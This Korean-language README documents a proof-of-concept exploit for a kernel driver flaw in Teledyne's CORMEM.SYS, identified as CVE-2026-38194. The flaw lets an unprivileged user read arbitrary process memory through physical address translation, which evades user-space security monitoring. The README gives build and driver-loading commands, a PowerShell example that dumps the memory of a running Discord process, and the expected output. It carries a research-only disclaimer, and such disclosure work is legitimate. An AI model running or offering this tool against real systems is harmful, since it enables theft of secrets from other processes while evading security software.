
이 도구는 Teledyne Digital Imaging Sapera Memory Manager(v9.0.0.0 이하)의 취약점인 CVE-2026-38194를 시연합니다. CORMEM.SYS 커널 드라이버는 액세스 제어 검사 없이 IOCTL을 노출하여, 권한이 없는 일반 사용자가 커널을 통해 임의 프로세스 메모리를 직접 읽고 쓸 수 있게 하며, 이는 Win32 API 모니터링을 우회합니다.
면책 조항:
이 프로젝트는 교육 및 보안 연구 목적으로만 제작되었습니다. 소유하고 있거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 무단 사용은 귀하의 관할권에서 불법일 수 있습니다.
이 도구는 Teledyne Digital Imaging Sapera Memory Manager(v9.0.0.0 이하)의 취약점인 CVE-2026-38194를 시연합니다.
CORMEM.SYS 커널 드라이버는 액세스 제어 검사 없이 IOCTL을 노출하므로, 표준 권한 없는 사용자가 Win32 API 모니터링을 완전히 우회하여 커널을 통해 직접 임의 프로세스 메모리를 읽고 쓸 수 있습니다.

메모리는 ReadProcessMemory 대신 물리적 주소 변환(페이지 테이블 워크)을 통해 액세스되므로 대부분의 사용자 공간 보안 소프트웨어에 투명하게 작동합니다.
cmake -B build -A x64
cmake --build build --config Release
CORMEM.SYS가 아직 로드되지 않은 경우, 관리자 권한으로 수동으로 로드하십시오:
sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
완료 후 언로드:
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <address> [size]
pid 프로세스 ID (10진수)
address 읽을 가상 주소 (16진수)
size 덤프할 바이트 수, 기본값 256, 최대 1048576
# Get the main Discord process
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
예상 출력:
[*] Target PID : 16364
[*] Target address : 0x7FF6FC180000
[*] Dump size : 256 bytes
[*] Initializing CorDrv...
[+] Driver initialized.
[*] Finding system DTB...
[+] System DTB: 0x1AE000
[*] Searching EPROCESS list for PID 16364...
[+] Process DTB: 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
Memory dump (0x7FF6FC180000, 256 bytes):
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] Done.
오프셋 0의 4D 5A는 MZ 헤더가 물리적 RAM에서 성공적으로 읽혔음을 확인합니다.